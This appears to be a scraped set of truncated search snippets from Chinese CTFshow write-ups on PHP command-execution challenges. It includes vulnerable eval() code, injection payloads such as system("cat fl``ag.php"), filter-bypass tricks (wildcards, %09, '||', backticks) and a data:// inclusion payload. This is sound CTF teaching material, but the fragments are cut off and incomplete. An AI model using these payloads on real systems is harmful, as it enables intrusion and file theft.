1.if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i",$c)){ 找一个上面没有ban掉的即可 web40 1.
1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${}) (前六个为php可调用并执行linux指令的函数) 2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接 3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq...
命令执行函数:passthru、shell_exec、exec等 其实这里还可以使用反引号 ` `反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回 ?c=echo `tac f*`;?c=passthru('tac f*'); ctfshow{c2ef0b5a-047d-4242-8567-daea91a6e06b} Web...
https://blog.csdn.net/qq_53263789/article/details/113803325 web29 过滤敏感字 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } ?c=system("cat fl``ag.php"); ?c=s...
CTFshow刷题日记-WEB-命令执行上29-55 类型一: 变量c来接受并过滤传入的数据,eval函数来执行 web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{...
web31 if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 利用函数:eval() 绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被...
eval函数的命令执行,首先输入?c=system("ls%20/"); Copy bindev etc home lib media mntoptprocroot run sbin srv sys tmp usr var ?c=system("ls%20"); Copy flag.phpindex.php 代码过滤了flag,使用?c=system("cat%20fl\ag.php");(也可以用?c=system(“cat fla*”);?
1.web29 eval()函数是把所有字符串当作php代码去执行,这题过滤了flag,使用通配符绕过过滤应该要注意文件中没有重名的文件,或一部分是一样的文件 payload: c=echo%20`nl f''lag.php`; #官方解法,``反引号表示执行系统命令,nl为linux系统命令,是查看文件的意思 ...
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断。 Payload1: ls|| Payload2: tac flag.php|| web44 if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null ...
9|0web37 这里用了PHP文件包含函数include(),利用伪协议读flag data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。 POC:?c=data://text/plain,<?php system("cat f*"); 10|0web38 ...